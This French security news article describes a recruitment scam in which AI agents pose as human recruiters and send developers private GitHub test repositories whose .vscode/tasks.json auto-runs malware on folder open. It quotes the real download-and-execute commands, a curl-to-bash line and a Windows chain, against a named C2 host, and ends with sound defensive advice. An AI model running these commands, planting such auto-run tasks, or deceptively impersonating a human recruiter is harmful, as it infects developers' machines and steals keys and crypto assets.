Retour à l'accueil

Comment les agents IA infectent les développeurs via GitHub

Un nouveau schéma d'escroquerie utilisant des agents IA pour l'escroquerie automatisée des développeurs via des plateformes de recrutement est examiné. Le mécanisme d'infection via des dépôts GitHub privés avec malware dans .vscode/tasks.json est décrit, et des recommandations de protection pratiques sont fournies.

Escroquerie IA sur GitHub : Comment ne pas devenir victime via une tâche de test
Advertisement 728x90

Agents IA dans les arnaques au recrutement : Comment ils infectent via des dépôts privés

Les escrocs ont commencé à utiliser des agents IA pour automatiser les attaques contre les développeurs via des plateformes comme Habr Career. Au lieu d'envoyer des messages manuels, des milliers de candidats reçoivent désormais des offres d'emploi personnalisées accompagnées de tâches de test contenant du code malveillant dissimulé. Le vecteur principal consiste en des dépôts GitHub privés dotés de tâches s'exécutant automatiquement dans VSCode.

Comment fonctionne le nouveau schéma d'attaque

L'attaquant crée un compte sur une plateforme de recrutement et configure un agent IA qui analyse les profils des développeurs. En se basant sur la stack (par exemple, React + Node.js + Web3), il génère une description d'emploi convaincante et mène une conversation imitant un RH en direct. L'agent évite les réponses immédiates, insère des « erreurs » typiquement humaines et ne communique qu'aux heures de bureau – tout cela pour inspirer confiance.

Une fois que le candidat accepte la tâche de test, il est ajouté à un dépôt privé sur GitHub. C'est le point clé : les dépôts publics sont rapidement détectés par les scanners de sécurité, tandis que les privés passent inaperçus jusqu'au clonage.

Google AdInline article slot

Charge utile cachée dans .vscode/

Le dépôt contient une structure fullstack standard : frontend React, backend Express, base de données PostgreSQL, authentification Firebase, intégration Stripe. Le code paraît légitime même à un examen superficiel. Cependant, l'élément malveillant est dissimulé dans le répertoire .vscode/.

Le fichier tasks.json définit une tâche avec le paramètre :

"runOn": "folderOpen"

Cela force VSCode à exécuter automatiquement la commande lors de l'ouverture du dossier du projet. Une notification apparaît en bas de l'interface, mais la plupart des développeurs l'ignorent car de telles tâches sont courantes pour la construction de projets.

Google AdInline article slot

Les commandes varient selon l'OS :

Linux / macOS :

curl -fsSL -A 101 https://ping-i2eo.onrender.com/nvs | bash

Windows :

Google AdInline article slot
curl -sk -A 100 -o %TEMP%\i.ini https://ping-i2eo.onrender.com/nvs
.\ .vscode\snippets\argv.exe x -ppppppp %TEMP%\i.ini -o%TEMP%
wscript.exe %TEMP%\vs9extensions\update.vbs

Composants de l'infrastructure malveillante

L'attaque repose sur plusieurs éléments techniques :

  • Serveur C2 : ping-i2eo.onrender.com hébergé sur Render.com gratuit. L'extrémité /nvs fournit un script shell dynamique. L'User-Agent (100, 101, 102) identifie l'OS de la victime.
  • Binaire argv.exe : fichier PE32 (579 Ko) dans .vscode/snippets/, utilisé pour dépaqueter une charge utile chiffrée sur Windows.
  • JS obfuscé : fichier .vscode/lock (753 Ko) contenant du JavaScript sur une ligne, probablement pour la persistance ou le vol de données dans les environnements Unix.
  • Identifiants factices : server/config/default.json contient des vraies clés API en clair (Cloudflare, S3/R2, email) pour donner une apparence légitime au projet.

Objectifs de l'attaque et conséquences

La charge utile exacte est inconnue car elle est chargée dynamiquement depuis le serveur C2. Cependant, les cibles typiques incluent :

  • Vol des clés SSH depuis ~/.ssh/
  • Extraction des fichiers .env et tokens d'autres projets
  • Détournement des cookies de navigateur et mots de passe sauvegardés
  • Installation d'un mineur de cryptomonnaies
  • Implantation d'une porte dérobée ou d'un shell inverse pour un accès persistant

Les développeurs Web3 sont particulièrement vulnérables : leurs machines contiennent souvent des phrases de récupération, clés privées et portefeuilles offrant un accès direct aux actifs crypto.

Pourquoi l'attaque a échoué cette fois

Deux facteurs ont empêché l'infection :

  • Paramètre VSCode task.allowAutomaticTasks: off — bloque complètement l'exécution automatique des tâches de l'espace de travail sans confirmation explicite.
  • Ouverture du dépôt dans le terminal WSL, et non dans la version GUI de VSCode. Le paramètre runOn: folderOpen ne se déclenche que via l'application de bureau.

Signaux d'alerte lors des contacts avec les recruteurs

Soyez vigilant face à ces indices :

  • IA simulant un humain : fautes délibérées, réponses uniquement aux heures de bureau, esquive des détails précis. Les demandes de précisions sur le projet mènent à du « bla-bla » vague et formaté de startup.
  • Personnalisation excessive de l'offre correspondant pile à votre stack, surtout depuis un compte peu actif.
  • Dépôt privé pour la tâche de test sans option de prévisualisation du code.
  • Présence de .vscode/tasks.json avec "runOn": "folderOpen" — les tâches de test légitimes n'exigent pas de scripts auto-lançants.

Leçons à retenir

  • Désactivez l'exécution automatique des tâches dans VSCode : Allez dans Paramètres → recherchez task.allowAutomaticTasks → réglez sur off.
  • Inspectez toujours le contenu des dépôts dans l'interface web GitHub avant de cloner, en particulier les fichiers .vscode/.
  • Ne faites pas aveuglément confiance aux dépôts privés — ils sont couramment utilisés pour contourner les systèmes de détection de malwares.
  • Les développeurs Web3 sont des cibles privilégiées : Isolez portefeuilles et clés de votre espace de travail principal.
  • Les agents IA réduisent les coûts des arnaques : Un seul système peut traiter des milliers de profils, permettant des attaques de masse ultra-personnalisées.

— Editorial Team

Advertisement 728x90

Lire ensuite